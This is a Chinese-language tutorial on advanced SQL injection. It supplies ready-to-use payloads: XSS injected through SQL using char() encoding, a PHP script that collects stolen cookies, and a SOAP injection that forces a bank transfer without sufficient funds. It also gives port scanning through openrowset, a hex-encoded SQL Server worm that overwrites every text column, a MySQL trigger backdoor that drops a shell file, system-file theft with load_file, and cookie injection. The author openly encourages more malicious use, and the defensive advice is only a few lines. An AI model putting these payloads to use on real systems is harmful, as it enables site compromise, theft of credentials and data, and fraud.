SQL注入攻击高级教程
SQL注入攻击已经出现很长时间,给很多的网站带来了危害,而且貌似还在继续着。国内关于SQL注入的攻击方式貌似已经比较成熟的,像一些大型的网站,基本上都会很好的对SQL注入攻击进行防御,好象攻击和防御在平衡,如何突破这中平衡,是个很好的课题,正好应和
-
SQL注入攻击已经出现很长时间,给很多的网站带来了危害,而且貌似还在继续着。国内关于SQL注入的攻击方式貌似已经比较成熟的,像一些大型的网站,基本上都会很好的对SQL注入攻击进行防御,好象攻击和防御在平衡,如何突破这中平衡,是个很好的课题,正好应和了黑防的口号,在攻与防的对立中寻找突破。本文我们主要讨论SQL攻击深层一点的技术,讨论一些具备艺术性的注入技术。
SQL注入本质个人总结,SQL注入本质就是越权对数据库的操作。同时,个人认为SQL注入不一定仅仅局限与WEB系统,可能也会存在与软件和其他系统等等。常见的WEB型的SQL注入攻击就是通过客户对WEB的恶意操作,进行获取信息和恶意攻击。这里仅仅讨论该类。
如何艺术的实现SQL注入或者更有效的更大发挥其价值,是我们讨论的核心。首先,我们必须对特定数据库足够了解,才能更加的发挥其功能,而不仅仅局限与简单的and1=1和and1=2.对数据库的了解这个是相当必要的。否则永远局限与别人的攻击方式上。
下面会通过介绍几种不是很常见的攻击方式,来充分的理解其含义和帮助我们更好的发挥SQL注入的艺术。
0x02实例小谈SQL注入高级攻击方式
以下只是笔者见到的部分特别的SQL注入攻击技术,由于篇幅原因,所以选择以下几个予以说明,更多详情,希望能够专门建立一个类似的项目,来更加充分的总结和学习经验。
SQL注入之XSS攻击
国外称该类攻击为XFS,通过将javascript进行char(),带入sql语句中,抱错的时候,会造成char中字符解析,执行xss代码。当然这类攻击是有一定的局限性的,但是还是可以很好的利用的。
,这是一个弹出xss的xss代码,首先我们需要将其进行char转换,然后好带入sql注入语句。
转换后字符如下:
ASCII:608367827380846297108101114116403912011511539#4160471159911410511211662
然后,我们通过将其带入SQL语句,使欺骗用户点击后弹出xss代码,当然,这里只是一个介绍,大家可以可以把他用的更邪恶。比如,窃取COOKIE及挂马等等。以下是cookie收集代码,使用方法:
$cookies=
sql教程_网学
GET["cookie"];
if($cookies)
{
$grab=fopen("grab.txt","a");
fputs($grab,$cookies."\r\n");
fclose($grab);
}
?>
XFS测试代码环境如下:
test/test.php?id=null+union+select+1,2,3,4,5,char(60,83,67,82,73,80,84,62,97,108,101,114,116,40,39,120,115,115,39,41,60,47,115,99,114,105,112,116,62),7,8--
SOAP注入
简单对象访问协议(SOAP)是一种轻量的、简单的、基于XML的协议,它被设计成在WEB上交换结构化的和固化的信息。SOAP可以和现存的许多因特网协议和格式结合使用,包括超文本传输协议(HTTP),简单邮件传输协议(SMTP),多用途网际邮件扩充协议(MIME)。它还支持从消息系统到远程过程调用(RPC)等大量的应用程序。具体这里就不浪费笔墨了,大家可以百度下。表面上不属于SQL注入,但确实很有意思的一种攻击。包括XML插入XSS攻击,都是需要了解的。
注入soap一个银行程序POST/transfer.aspHTTP/1.0Host:wahh-bankContent-Length:65FromAccount=18281008&;Amount=1430&;ToAccount=0844766&;Submit=Submit在处理这个请求的过程中,应用程序在后端组件传送下面soap消息
182810081430False0844766应用程序逻辑确定没有足够资金转账时,将元素ClearedFunds设置为false,因此受到soap消息的组件将拒绝转账如果应用程序处理它遇到的第一个CleraFunds元素,那么即使账户没有足够资金,也可以成功转账POST/transfer.aspHTTP/1.0Host:wahh-bankContent-Length:65FromAccount=18281008&;Amount=1430
True1430&;ToAccount=0844766&;Submit=Submit
182810081430True1430False0844766
这样就实现了第一个ClearedFunds为TRUE,造成成功转帐。结合了网上的一个例子。
包括XML的注入技术,貌似都是大牛们用,没见其他人杂谈过,我太孤陋寡闻。
3.SQL注入实现端口扫描
我们可以通过一个SQL注入漏洞对一个IP或者网段进行端口扫描,当然这种攻击主要是SQLserver数据库。
例子:example/news.asp?id=1unionselect*fromopenrowset('SQLoledb','uid=sa;pwd=;Network=DBMSSOCN;Address=10.10.10.12,80;timeout=5','select*fromtable')--
如果成功连接10.10.10.12的80端口,将显示:
Generalnetworkerror.Checkyournetworkdocumentation或者OLEDBprovider'sqloledb'reportedanerror.Theproviderdidnotgiveanyinformationabouttheerror.连接错误,将显示SQLServerdoesnot
-
"Generalnetworkerror.Checkyournetworkdocumentation"或者"OLEDBprovider'sqloledb'reportedanerror.Theproviderdidnotgiveanyinformationabouttheerror."
连接错误,将显示SQLServerdoesnotexistoraccessdenied
SQL注入蠕虫
通过SQL注入,我们可以实现蠕虫,对每个页面插入恶意代码,很邪恶,适用与SQLServer。
例子:
';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C004100520045002000400054002000760061007200630068006100720028003200350035
0029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F004300
7500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E
0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E0073002000
6200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D0027007500270020
0061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F0072002000
62002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D003100AS%20NVARCHAR(4000));EXEC(@S);--
Decode这些代码,源代码如下:
DECLARE@TVARCHAR(255)
DECLARE@CVARCHAR(255)
DECLARETable_CursorCURSORFOR
SELECT[A].[Name],[B].[Name]
FROMsysobjectsAS[A],syscolumnsAS[B]
WHERE[A].[ID]=[B].[ID]AND
[A].[XType]='U'/*Table(User-Defined)*/AND
([B].[XType]=99/*NTEXT*/OR
[B].[XType]=35/*TEXT*/OR
[B].[XType]=231/*SYSNAME*/OR
[B].[XType]=167/*VARCHAR*/)
OPENTable_Cursor
FETCHNEXTFROMTable_CursorINTO@T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE['+@T+']SET['+@C+']=RTRIM(CONVERT(VARCHAR,['+@C+']))+''''')
FETCHNEXTFROMTable_CursorINTO@T,@C
END
CLOSETable_Cursor
DEALLOCATETable_Cursor
一个小程序。
搜索框注入技术
搜索框注入是基本SQL注入的简单升华,在某些情况同样是可以实现的,抓住本质,如何注入就看你怎么发挥了,所以,最主要的还是研究其本质,了解了本质,就会下不管什么方式,都是很好了解的,同样,针对类似的如登陆框注入等,都是可以的。
以下是简单判断是否存在注入的方法。
搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;b.搜索keywords%,如果同样出错的话,就有95%的可能性存在漏洞;c.搜索keywords%'and1=1and'%'='(这个语句的功能就相当于普通SQL注入的and1=1)看返回的情况d.搜索keywords%'and1=2and'%'='(这个语句的功能就相当于普通SQL注入的and1=2)看返回的情况,根据两次的返回情况来判断是不是搜索型文本框注入了
剩下的就是手工注入了。
触发器攻击
触发器(trigger)是个特殊的存储过程,它的执行不是由程序调用,也不是手工启动,而是由个事件来触发,比如当对一个表进行操作(insert,delete,update)时就会激活它执行。触发器经常用于加强数据的完整性约束和业务规则等。触发器可以从DBA_TRIGGERS,USER_TRIGGERS数据字典中查到。
触发器可以查询其他表,而且可以包含复杂的SQL语句。它们主要用于强制服从复杂的业务规则或要求。例如:您可以根据客户当前的帐户状态,控制是否允许插入新订单。
触发器也可用于强制引用完整性,以便在多个表中添加、更新或删除行时,保留在这些表之间所定义的关系。
SQLSERVER的注入国内有很好的例子和工具了,mysql5版本后开始支持触发器,貌似国内看到MYSQL触发器用法的比较少,这里笔者给出个简单demo:
CREATETRIGGERHa0KAFTERUPDATEONadminFOREACHROWSELECT'恶意代码'intooutfile恶意文件路径(如启动项);当更新admin表的时候就出发该后门,自动在规定的地方导出恶意文件,如shell等。
7.SQL注入DOS攻击
这里就不多讲了,假如我们可以对loadfile,那就尝试loadfile,尝试消耗服务器数据库进程,类似CC刷数据库原理,均是通过数据库进程使CPU内存升高,形成拒绝服务。(当然得有load权限)
Loadfile攻击
还是利用loadfile,不过这里是通过loadfile直接窃取系统机密文件,如以下代码:
实例:$q="Select*FROMusersWHEREid=$id;";Users表中如果有5个字段:Id、Username、Password、Userdetail、Regtime。通过网页显示出来的用户资料信息是4个字段:Id、Username、Userdetail、Regtime如果Username,Userdetail是字符类型的通常我们就可以利用了它来构造。构造语句:选择一个不存在的ID,或是直接加上and1=2造成UnionSelect语句,前面一条Select没有正常执行,后面一条Select正常,从而显示后面一条Select语句的值。Id参数:1and1=2unionSelect1,1,1,loadfile(load_file(char(99,58,47,98,111,111,116,46,105,110,105)),1这里Char(99,58,47,98,111,111,116,46,105,110,105)就是C:\boot.ini每个字符相对应的ASCII码。权限等级足够的话可以用读出c:\boot.ini。
9.cookie注入攻击Cookie注入,也是相当有意思的一种注入技术,貌似看到大家的理解主要在于asp上。ID=Request(ID),由于执行顺序为GET,POST,COOKIE,通常防注入只防了GET和POST,所以可以造成PASS。方法:在输
-
9.cookie注入攻击
Cookie注入,也是相当有意思的一种注入技术,貌似看到大家的理解主要在于asp上。
ID=Request("ID"),由于执行顺序为GET,POST,COOKIE,通常防注入只防了GET和POST,所以可以造成PASS。
方法:在输入框中输入javascript:alert(document.cookie="id="+escape("123and1=1"));刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)
javascript:alert(document.cookie="id="+escape("123and1=2"));刷新一下页面。如果不正常显示,这就表示有注入。
SQL注入中获取数据的一些技巧
这里参考了0dayjun的文章的介绍,上传shell的本质主要核心还是在于获取数据,只是更方便而已,所以,这里可以通过简单的技巧,是可以很简单的直接获取大量数据。
详情,大家请参考0dayjun网站吧,这里就不占用笔墨了。
0x03SQL防护措施
以上各种方法对环境都是有一定要求的,比如某些情况下只能适合myslq,或者mssql等,具体看情况了。主要的核心还是大家对基础知识的了解,否则,就只能是个工具黑客了。其实,还有很多注入方法,这里就不多说了,怕占太多笔墨了,嘿嘿。
SQL注入防护的方法很多,针对asp,比如neaao写的SQL过滤程序,直接包含进去就OK,但是,还是有些方式有可能bypass这些IDS过滤。当然,简单的是可以防护的。或者将变量用引号括住,适合php,最好对带入参数进行过滤,如数字型的,进行数据判断,还有关闭错误回显等。针对jsp的好象不是很多,但是也是存在注入漏洞的。牛人们对这方面的研究都烂了,咱就不说了,太丢人了。但是很多大站还是存在这些问题的哦,比如,前段时间sohu分站注入等,毕竟站大了,啥漏洞都会有贝。嘿嘿。
0x04小结
SQL注入攻击,我认为应该是不会结束的,还会不断持续,不断有新的方式出现展现其魅力。即便是程序方面做了防护,但是各个方面都有可能出问题,从而最终实现注入。本人对SQL注入研究刚开始而已,希望各牛人提意见,希望大家能够建一个项目,主要做SQL注入方面的,我想这样会对总结经验和探讨很有好处吧。